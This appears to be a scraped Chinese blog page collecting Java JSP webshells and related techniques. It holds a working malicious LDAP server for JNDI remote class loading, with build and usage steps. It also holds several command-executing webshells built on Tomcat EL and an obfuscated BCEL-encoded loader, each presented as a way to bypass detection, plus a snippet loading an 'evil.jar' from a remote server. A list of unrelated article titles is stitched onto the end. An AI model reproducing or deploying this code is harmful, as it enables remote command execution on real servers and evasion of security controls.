import javax.net.ssl.SSLSocketFactory;

/**

* LDAP server

*

* @author threedr3am

*/

public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static byte[] classData;

public static void main(String[] args) {

run(args);

}

public static void run(String[] args) {

int port = args.length > 0 ? Integer.parseInt(args[0]) : 43658;

//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可

String url = args.length > 0 ? args[1] : "http://localhost/#Calc";

try {

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

config.setListenerConfigs(new InMemoryListenerConfig(

"listen", //$NON-NLS-1$

InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$

port,

ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),

(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));

InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$

ds.startListening();

} catch (Exception e) {

e.printStackTrace();

}

}

}

OperationInterceptor.java:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import com.unboundid.util.Base64;

import java.net.InetAddress;

import java.net.MalformedURLException;

import java.net.URL;

import java.text.ParseException;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

public class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

/**

*

*/

public OperationInterceptor(URL cb) {

this.codebase = cb;

}

/**

* {@inheritDoc}

*

* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)

*/

@Override

public void processSearchResult(InMemoryInterceptedSearchResult result) {

String base = result.getRequest().getBaseDN();

Entry e = new Entry(base);

try {

sendResult(result, base, e);

} catch (Exception e1) {

e1.printStackTrace();

}

}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)

throws LDAPException, MalformedURLException {

URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(""));

System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

e.addAttribute("javaClassName", "Calc");

String cbstring = this.codebase.toString();

int refPos = cbstring.indexOf('#');

if (refPos > 0) {

cbstring = cbstring.substring(0, refPos);

}

//todo <= jdk8u191

e.addAttribute("javaCodeBase", cbstring);

e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

e.addAttribute("javaFactory", this.codebase.getRef());

result.sendSearchEntry(e);

result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}

}

因为引入了ldap sdk,所以,需要去maven仓库下载个unboundid-ldapsdk-3.1.1.jar

具体的使用:

修改Calc.java中的cmd局部变量为需要执行的shell命令,然后执行javac Calc.java编译得到Calc.class

把上一步得到的Calc.class放到webshell运行环境可访问的http服务器中

把LdapServer.java、OperationInterceptor.java、unboundid-ldapsdk-3.1.1.jar放到同一目录下,执行编译javac -cp unboundid-ldapsdk-3.1.1.jar:. LdapServer.java

执行jar cvf LdapServer.jar LdapServer.class OperationInterceptor.class打包成LdapServer.jar

把LdapServer.jar、unboundid-ldapsdk-3.1.1.jar放到同一目录下,java -cp LdapServer.jar:unboundid-ldapsdk-3.1.1.jar LdapServer 12345 "http://127.0.0.1:80/#Calc",其中12345为ldap server的端口,"http://127.0.0.1:80/#Calc"中的127.0.0.1:80为上一步中可访问的http服务器,因为Calc.class存放于http服务器根目录,所以为Calc(Calc存放在http服务器的文件有后缀.class,但是参数不需要.class)

十四、利用tomcat el的JSP Webshell

StringBuilder stringBuilder = new StringBuilder();

String cmd = request.getParameter("cvedr3am");

for (String tmp:cmd.split(" ")) {

stringBuilder.append("'").append(tmp).append("'").append(",");

}

String f = stringBuilder.substring(0, stringBuilder.length() - 1);

ELProcessor processor = new ELProcessor();

Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");

InputStream inputStream = process.getInputStream();

StringBuilder stringBuilder2 = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder2.append(line).append("\n");

}

if (stringBuilder2.length() > 0) {

response.getOutputStream().write(stringBuilder2.toString().getBytes());

}

%>

这个马需要利用tomcat的环境,不是非常通用,但是胜在简单,而且,若ELProcessor被禁了之后,或者eval方法被禁之后,通过研究其源码,发现还能这样用,又是一个bypass:

String cmd = request.getParameter("threedr3am");

StringBuilder stringBuilder = new StringBuilder();

for (String tmp:cmd.split(" ")) {

stringBuilder.append("'").append(tmp).append("'").append(",");

}

String f = stringBuilder.substring(0, stringBuilder.length() - 1);

String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";

ELManager manager = new ELManager();

ELContext context = manager.getELContext();

ExpressionFactory factory = ELManager.getExpressionFactory();

ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);

InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();

response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));

%>

十五、对BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

BCEL类加载器进行一定包装-可能在某些禁了loadClass方法的地方bypass的JSP Webshell

String tmp = System.getProperty("java.io.tmpdir");

Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());

Class serviceNameClass = Class

.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");

Constructor serviceNameConstructor = serviceNameClass.getConstructor(String.class, URL.class);

serviceNameConstructor.setAccessible(true);

Object serviceName = serviceNameConstructor.newInstance(new String(new byte[] {36,36,66,67,69,76,36,36,36,108,36,56,98,36,73,36,65,36,65,36,65,36,65,36,65,36,65,36,65,36,56,100,85,36,53,98,87,36,84,87,36,85,36,102,101,36,79,36,98,57,36,99,99,48,36,56,99,36,53,99,36,56,50,36,100,99,36,98,52,36,98,54,36,102,54,36,56,50,36,69,36,85,82,36,98,53,90,36,98,57,84,107,36,97,48,36,119,53,36,109,36,114,36,73,77,105,107,36,116,36,99,57,36,110,36,77,36,115,36,57,57,116,50,36,82,121,106,36,102,102,36,56,100,36,99,102,36,102,54,36,110,97,36,57,53,36,100,53,36,51,101,36,102,54,36,99,49,36,55,102,36,100,50,36,51,102,81,36,102,97,36,57,100,73,36,67,107,36,113,36,97,101,54,36,120,36,100,57,36,57,51,36,98,100,36,99,102,36,98,101,36,55,99,36,102,98,36,51,98,103,36,99,102,121,36,102,51,36,99,102,36,101,102,36,55,102,36,67,36,102,56,36,77,36,72,36,71,36,36,36,101,50,36,56,101,36,56,54,89,36,68,36,53,100,36,98,56,36,97,51,99,36,99,101,36,99,48,36,51,99,36,87,52,36,55,99,36,97,49,36,102,52,36,98,98,36,100,100,36,98,56,36,56,55,36,95,117,36,100,99,87,74,36,100,50,36,99,48,36,111,36,57,54,36,77,36,55,99,36,56,53,36,72,36,71,36,97,50,120,104,36,101,48,36,82,36,57,54,36,57,53,36,102,56,36,100,97,36,99,48,99,36,97,52,52,36,97,99,104,88,53,36,81,36,99,51,36,84,36,68,36,68,88,83,36,101,50,36,104,36,106,36,101,98,36,103,36,100,50,36,71,70,36,98,48,97,36,101,48,36,118,54,53,108,105,36,102,56,86,36,109,36,98,97,36,54,48,36,57,55,109,36,101,102,36,97,101,36,52,48,36,117,36,51,101,36,98,57,36,118,36,81,36,53,101,116,36,102,50,82,36,97,48,36,95,101,36,57,55,36,101,53,106,36,97,100,36,57,52,36,57,53,36,101,101,36,56,54,36,57,53,36,122,36,100,50,36,83,75,57,57,36,97,98,36,98,56,105,36,98,57,36,98,54,36,100,50,36,53,98,36,99,54,36,98,48,36,98,55,107,87,36,57,53,36,102,55,36,99,54,36,97,101,36,120,101,36,100,101,36,98,100,105,36,57,53,36,57,101,36,53,100,36,98,102,53,36,95,36,97,48,36,95,36,101,52,36,56,97,36,101,100,36,98,99,36,53,101,36,97,57,36,97,50,36,99,50,36,102,55,36,97,99,36,88,86,36,97,50,104,36,57,53,36,76,36,56,57,36,98,52,36,101,55,36,100,97,36,101,53,36,67,36,98,100,66,36,98,57,82,36,53,101,36,97,48,36,99,55,36,36,87,106,36,107,36,56,100,36,100,50,36,119,36,74,36,77,53,36,106,109,36,116,36,98,49,36,55,99,106,36,97,54,111,111,36,98,54,36,98,54,36,98,51,36,112,36,53,100,36,57,57,95,36,57,55,86,36,53,101,36,98,97,36,67,36,97,51,36,116,36,56,101,36,99,57,36,99,48,36,75,36,55,100,36,99,51,36,97,99,77,116,66,36,57,101,36,97,52,36,102,51,36,101,98,36,83,36,97,52,36,98,51,36,97,102,36,56,48,36,100,51,36,101,53,36,53,99,36,100,53,36,72,36,57,49,36,97,99,36,100,57,69,36,51,102,36,100,98,36,100,56,36,90,36,55,99,36,97,100,36,114,36,101,53,36,57,98,36,102,54,36,97,99,36,100,99,36,102,51,36,86,36,97,98,36,101,50,119,36,99,100,36,78,36,101,50,36,57,101,104,36,99,56,36,102,56,52,36,97,55,36,70,36,56,99,36,98,52,83,115,115,36,102,50,36,56,49,36,101,100,36,100,51,36,85,36,54,48,98,70,36,114,53,36,102,49,36,107,36,36,36,74,36,56,99,36,98,99,36,97,51,36,65,36,53,98,83,36,120,51,36,98,54,51,67,36,97,54,36,102,50,36,98,54,36,97,98,36,101,49,36,51,98,36,84,36,100,98,36,102,56,36,53,101,36,97,48,36,102,102,36,101,100,36,81,36,84,36,51,102,36,101,48,71,36,78,36,99,102,76,36,102,99,36,56,52,113,36,102,50,36,98,55,36,98,56,36,98,50,100,36,99,50,66,86,67,36,99,101,68,36,107,36,99,52,36,98,54,99,36,97,50,36,56,48,36,53,100,85,36,100,50,36,100,54,36,98,48,103,36,101,50,57,36,56,97,36,115,74,36,117,107,112,76,84,36,102,48,36,98,51,36,99,48,112,103,36,100,97,72,65,36,72,36,101,50,36,57,98,107,36,119,36,57,100,36,95,36,97,97,36,115,36,51,99,100,36,99,57,36,97,99,36,110,48,36,100,56,36,56,49,88,36,84,53,36,53,99,36,100,50,36,102,48,36,99,50,36,99,52,36,51,101,36,53,101,36,57,50,36,98,56,36,65,36,90,36,56,49,36,55,101,36,57,101,100,36,102,55,100,36,99,101,107,103,36,74,36,87,36,78,54,36,55,101,80,36,102,53,36,113,77,36,51,100,36,70,36,101,57,36,97,100,36,98,57,78,69,36,98,97,36,100,101,36,56,49,36,99,48,36,57,53,36,102,56,36,100,57,36,102,51,52,36,100,57,36,101,57,36,56,56,69,36,97,100,74,69,36,57,54,121,36,99,97,36,97,54,36,102,102,87,36,99,52,36,101,57,36,97,54,36,57,98,109,36,54,48,36,99,100,36,55,100,36,101,100,36,97,101,36,99,97,36,56,97,36,101,53,90,36,57,101,67,36,97,50,116,36,99,102,105,122,36,76,36,57,99,36,56,102,119,36,97,99,36,100,97,36,101,99,36,97,97,36,99,99,36,101,56,36,106,70,36,116,36,100,54,36,121,111,36,57,55,99,36,83,98,36,76,36,67,36,102,51,36,106,36,56,48,108,36,98,102,36,84,36,53,98,36,109,36,99,55,36,100,57,36,99,99,36,75,36,105,51,36,57,98,36,97,52,36,122,36,55,102,36,98,102,88,76,36,107,120,74,36,106,36,56,100,119,36,75,36,57,101,36,100,99,78,36,75,68,36,101,50,36,100,98,73,53,36,101,55,36,68,36,97,55,36,70,36,100,55,107,101,36,99,102,36,36,36,98,49,71,36,56,51,36,102,56,78,36,57,52,36,97,49,36,52,48,103,36,122,36,98,51,36,57,97,36,122,36,102,57,82,36,101,54,36,69,36,115,36,102,101,36,56,51,78,110,85,78,86,36,97,98,36,102,51,36,56,49,74,36,122,36,112,79,36,51,99,36,120,36,70,54,36,55,99,36,97,52,36,53,100,36,101,100,36,99,99,36,100,99,36,98,55,36,55,98,121,107,65,36,102,53,48,120,36,98,97,36,100,52,36,103,36,55,100,101,36,100,53,36,86,36,88,36,118,36,102,102,36,70,36,100,48,87,36,110,36,36,36,99,102,36,57,102,36,100,101,36,78,36,100,55,36,99,97,36,99,57,36,65,36,57,56,36,101,53,36,98,50,36,116,36,76,36,101,97,36,100,99,36,101,98,36,100,99,36,100,56,36,97,97,36,97,52,36,97,97,36,57,97,36,101,101,36,100,48,36,100,53,50,36,51,101,36,99,52,36,70,36,98,101,36,57,97,36,100,53,36,97,55,36,76,66,77,51,36,101,53,36,102,98,36,100,52,36,83,36,55,99,36,75,36,51,101,36,112,83,36,78,36,56,56,36,100,55,36,102,101,36,102,50,36,72,36,57,52,81,36,100,102,36,100,56,36,56,51,36,99,98,36,57,52,102,36,100,51,36,56,49,36,118,36,51,101,36,101,50,83,36,99,55,36,99,55,36,101,100,36,54,48,36,102,49,36,57,48,36,100,54,36,117,109,36,98,102,36,107,36,97,49,36,120,36,100,51,36,52,48,36,101,56,113,36,121,36,55,99,36,56,56,72,36,101,97,36,73,36,100,49,76,36,99,98,114,36,98,53,36,79,36,101,100,55,36,101,56,36,57,52,36,98,49,110,36,56,97,36,51,97,36,56,99,36,100,48,36,108,36,56,56,36,107,36,97,50,36,101,55,36,81,102,36,68,36,101,55,86,36,79,36,100,49,36,55,98,36,97,100,36,56,101,36,98,101,36,51,97,36,102,97,87,36,56,102,48,36,99,48,36,97,56,88,102,36,98,97,36,56,49,36,99,49,36,71,36,99,101,36,99,102,36,56,53,36,99,55,36,99,50,117,36,77,101,36,101,54,36,111,36,55,102,36,110,54,53,36,87,81,36,118,36,56,54,36,118,36,98,54,36,53,101,36,106,36,102,102,36,102,100,36,75,122,36,56,97,36,57,57,71,36,97,55,36,57,56,36,101,102,36,81,99,36,53,98,36,97,102,36,56,57,71,36,56,55,36,68,36,57,55,87,67,36,99,56,36,99,55,36,55,102,36,56,51,36,97,56,36,56,49,36,53,101,90,36,102,98,36,118,36,72,48,36,99,98,36,57,98,100,36,74,36,56,51,36,98,99,53,36,56,54,36,102,56,36,100,101,36,90,36,97,54,36,101,102,36,70,122,36,56,102,36,97,50,36,56,97,49,36,99,101,36,102,57,69,36,102,99,66,74,84,36,97,102,36,56,102,36,97,48,36,100,49,36,100,102,36,99,50,36,116,36,89,103,36,99,101,89,36,100,99,36,99,54,36,86,36,102,101,36,101,98,98,36,101,99,85,76,36,109,36,99,101,36,101,99,79,36,90,57,36,56,57,36,118,36,56,52,36,102,57,36,107,36,56,98,36,100,49,36,51,97,78,36,79,36,97,97,36,100,52,36,97,101,97,36,100,97,71,36,98,49,36,56,102,36,90,36,57,50,36,75,36,55,99,36,99,97,36,100,102,36,69,36,99,50,36,99,55,36,77,36,56,56,104,36,98,56,36,97,101,36,101,49,36,56,54,36,102,102,36,98,100,36,97,57,36,102,49,36,57,97,36,99,52,49,36,99,98,36,75,90,36,56,49,36,97,52,36,56,54,36,53,98,97,36,71,36,100,101,36,102,54,36,97,57,36,102,102,36,102,99,95,36,98,53,36,51,100,36,102,101,36,116,74,36,72,36,65,36,65}), null);

Object serviceNameArray = Array.newInstance(serviceNameClass, 1);

Array.set(serviceNameArray, 0, serviceName);

Class lazyIteratorClass = Class

.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");

Constructor lazyIteratorConstructor = lazyIteratorClass.getDeclaredConstructors()[1];

lazyIteratorConstructor.setAccessible(true);

Object lazyIterator = lazyIteratorConstructor.newInstance(String.class, new ClassLoader());

Field namesField = lazyIteratorClass.getDeclaredField("names");

namesField.setAccessible(true);

namesField.set(lazyIterator, serviceNameArray);

Constructor cipherConstructor = Cipher.class

.getDeclaredConstructor(CipherSpi.class, Service.class, Iterator.class, String.class,

List.class);

cipherConstructor.setAccessible(true);

Cipher cipher = (Cipher) cipherConstructor.newInstance(null, null, lazyIterator, null, null);

Field opmodeField = Cipher.class.getDeclaredField("opmode");

opmodeField.setAccessible(true);

opmodeField.set(cipher, 1);

Field initializedField = Cipher.class.getDeclaredField("initialized");

initializedField.setAccessible(true);

initializedField.set(cipher, true);

CipherInputStream cipherInputStream = new CipherInputStream(

new ByteArrayInputStream(new byte[0]), cipher);

Class xmlDataSourceClass = Class

.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");

Constructor xmlDataSourceConstructor = xmlDataSourceClass.getDeclaredConstructors()[0];

xmlDataSourceConstructor.setAccessible(true);

DataSource xmlDataSource = (DataSource) xmlDataSourceConstructor

.newInstance("", cipherInputStream);

DataHandler dataHandler = new DataHandler(xmlDataSource);

Base64Data base64Data = new Base64Data();

Field dataHandlerField = Base64Data.class.getDeclaredField("dataHandler");

dataHandlerField.setAccessible(true);

dataHandlerField.set(base64Data, dataHandler);

Constructor NativeStringConstructor = NativeString.class

.getDeclaredConstructor(CharSequence.class, Global.class);

NativeStringConstructor.setAccessible(true);

NativeString nativeString = (NativeString) NativeStringConstructor

.newInstance(base64Data, new Global(new Context(new Options(""), null, null)));

try {

new HashMap<>().put(nativeString, "111");

} catch (Throwable e) {

response.getOutputStream().write(e.getCause().getMessage().getBytes());

}

%>

其实这个就是最早出现在某个序列化组件被发现的gadget

Threedr3am_15:

import java.io.BufferedReader;

import java.io.File;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.nio.file.Files;

import java.nio.file.Paths;

/**

* @author threedr3am

*/

public class Threedr3am_15 {

static {

StringBuilder stringBuilder = new StringBuilder();

try {

String tmp = System.getProperty("java.io.tmpdir");

String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

} catch (Throwable e) {

e.printStackTrace();

}

Integer.parseInt(stringBuilder.toString());

}

}

Threedr3am_make:

import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.BufferedReader;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.nio.file.Files;

import java.nio.file.Paths;

/**

* @author threedr3am

*/

public class Threedr3am_make {

public static void main(String[] args) throws IOException {

InputStream inputStream = Threedr3am_make.class.getClassLoader().getResourceAsStream("Threedr3am_15.class");

byte[] bytes = new byte[inputStream.available()];

inputStream.read(bytes);

String code = "$$BCEL$$" + Utility.encode(bytes, true);

bytes = code.getBytes();

for (int i = 0; i < bytes.length; i++) {

System.out.print(bytes[i]);

if (i != bytes.length - 1)

System.out.print(",");

}

}

}

other

送上一些从jdk lib的jar中搜索出来的一些可能有用的东西。

一、invoke、newInstance反射调用的各种方式

1. invoke

1.1 Method.invoke

Method method = Threedr3am.class.getMethod("a");

method.invoke(null);

1.2 MethodAccessor.invoke

Method method = Threedr3am.class.getMethod("a");

ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());

MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);

methodAccessor.invoke(null, null);

1.3 JSClassLoader.invoke

Method method = Main.class.getDeclaredMethod("a");

JSClassLoader.invoke(method, null, null);

2. newInstance

2.1 JSClassLoader.newInstance

Constructor constructor = Main.class.getConstructor();

JSClassLoader.newInstance(constructor, null);

2.2 Beans加载并实例化

Object o = Beans.instantiate(Thread.currentThread().getContextClassLoader(), "java.lang.String");

二、获取class、method、field、constructor的各种方式

1. class

1.1 ReflectUtil

sun.reflect.misc.ReflectUtil

ReflectUtil.forName("java.lang.String")

1.2 BytecodeDescriptor

sun.invoke.util.BytecodeDescriptor.parseMethod("(Ljava/lang/String;)V", null).get(0);

1.3 Class.forName

Class.forName("java.lang.String");

1.4 ClassLoader.loadClass

Thread.currentThread().getContextClassLoader().loadClass("java.lang.String");

1.5 JDKBridge.loadClass

JDKBridge.loadClass("java.lang.String");

1.6 RMIClassLoader.loadClass

RMIClassLoader.loadClass("java.lang.String")

1.7 MLet

MLet mLet = new MLet();

mLet.addURL(new URL("http://server/evil.jar"));

mLet.loadClass("Evil").newInstance();

2. method

2.1 MethodUtil

sun.reflect.misc.MethodUtil

MethodUtil.getMethod(String.class, "valueOf", new Class[]{int.class});

3. field

3.1 FieldUtil

sun.reflect.misc.FieldUtil

FieldUtil.getField(String.class, "a");

4. Constructor

4.1 ConstructorUtil

sun.reflect.misc.ConstructorUtil

sun.reflect.misc.ConstructorUtil#getConstructor

java webshell_都0202年了老嗨还在用的 - 各种姿势jsp webshell相关推荐

  1. 为什么 Java/JDK 都快出 18 了,还有人用 1.8 呢?

    本文不从语法和技术角度说明jdk1.8和18或其它高版本的差别,先问如下的问题请大家思考下. 1 在项目里为什么要用Java?如何选用版本? 用java为了通过做项目挣钱,客户方只管功能,不管实现,所 ...

  2. 【周年福利Round2】都0202年了,您还不会Elasticsearch?

    本文字数:8775字 预计阅读时间:22分钟 什么是 Elasticsearch?它是一个分布式的开源搜索和分析引擎,适用于所有类型的数据,包括文本.数字.地理空间.结构化和非结构化数据. 无论在开源 ...

  3. Java对象都是在堆上分配空间吗?答案竟然是...

    作者 l Hollis 来源 l Hollis(ID:hollischuang) Java作为一种面向对象的,跨平台语言,其对象.内存等一直是比较难的知识点,所以,即使是一个Java的初学者,也一定或 ...

  4. 求你了,别再说Java对象都是在堆内存上分配空间的了!

    Java作为一种面向对象的,跨平台语言,其对象.内存等一直是比较难的知识点,所以,即使是一个Java的初学者,也一定或多或少的对JVM有一些了解.可以说,关于JVM的相关知识,基本是每个Java开发者 ...

  5. 天津java_天津java,再不努力我们就老了

    原标题:天津java,再不努力我们就老了 时间都去哪儿了? 游戏玩得眼睛都花了 wang者峡谷一天天 转眼2018就要过完了-- 再不努力我们就老了,没有时间用来浪费了. 不努力的人一定不酷,学jav ...

  6. java基础入门传智播客 源码_Java-_2020年版Java零基础视频教程(Java 0基础,Java初学入门)魔鬼讲师老杜出品...

    不会闲聊!!!不会扯淡!!!小UP只会分享与Java相关的学习资源 还记得那年带你Java入门的一声"吼"吗? B站目前播放量已经快到450多万播放量的Java零基础教程的创作者& ...

  7. Java培训都学什么

    java行业的快速发展,引起了很多人的关注,越来越多的人选择报java培训机构学习java技术,那么Java培训都学什么呢?零基础的同学是否能学会呢?来看看下面的详细介绍. Java培训都学什么?主要 ...

  8. 参加java培训都有哪些学习阶段

    最近有很多在参加java培训学习的同学都会遇到一些学习上的困难,尤其是一些没有基础的同学,java培训学习是有阶段性的,只要了解每个学习阶段都是什么,做好学习规划就可以,下面小编就为大家详细的介绍一下 ...

  9. 新手参加java培训都学什么

    互联网的强大使得很多IT技术变得越来越吃香,java技术就是其中的一种,很多人都开始学习java技术,下面小编就为大家分享一些新手参加java培训都学什么?希望能够给零基础的学员带来一些帮助. 新手参 ...

最新文章

  1. python3的数据类型以及模块的含义
  2. Linux 系统必须掌握的文件_【all】
  3. 从短句到长文,计算机如何学习阅读理解
  4. leetcode 101. 对称二叉树 递归解法 c语言
  5. node 实现Token状态登录 及数据库增删改查
  6. VM pow 函数 :undefined reference to `pow'
  7. 【渝粤教育】广东开放大学 刑法 形成性考核 (42)
  8. Kotlin基础学习第6章—高阶函数
  9. python数据分析 制图_Python与开源GIS:数据处理、空间分析与地图制图
  10. java医院门诊管理系统
  11. java pkcs8_java – 如何在python中创建PKCS8 RSA签名
  12. MyBatis中foreach传入参数为Poji装饰类,list、数组的不同写法
  13. 用Python寻找最优投资组合
  14. [计算机英语]句子翻译(只含unit1.3.4.5.7.8.9.12)
  15. C语言之CoCo去过的城市
  16. kdd99数据集svm分类_使用svm和不平衡的twitter数据集进行三级情感分类的任务
  17. 西南交通大学linux内核,GitHub - Laotree/SWJTU-Developer: 西南交通大学开发者社区——为交大开发者提供交流的平台...
  18. ES6----promise方法解决回调地狱问题
  19. 使用openocd调试Linux内核,OpenOCD-JTAG调试(示例代码)
  20. 智慧交通引领不一样的未来出行

热门文章

  1. Hibernate中No row with the given identifier exis
  2. web前端期末大作业网页设计与制作 ——汉口我的家乡旅游景点 5页HTML+CSS+JavaScript
  3. ubuntu装pl2303USB转串口驱动(详细,亲测)
  4. html字体加载规则,CSS-等待字体加载,然后渲染网页
  5. 《算法笔记》10.5小节——图算法专题->最小生成树
  6. 计算机领域哪个证值钱,最值钱且相对好考的证书有哪些?
  7. Django REST framework学习笔记
  8. java基于微信小程序的共享单车电动车租赁系统 uniapp 小程序
  9. 蓝桥信用卡号验证-枚举法应用 JAVA暴解
  10. “Derivative of state ‘1‘ in block ‘X/Y/Integrator‘ at time 0.55 is not finite“类问题解决办法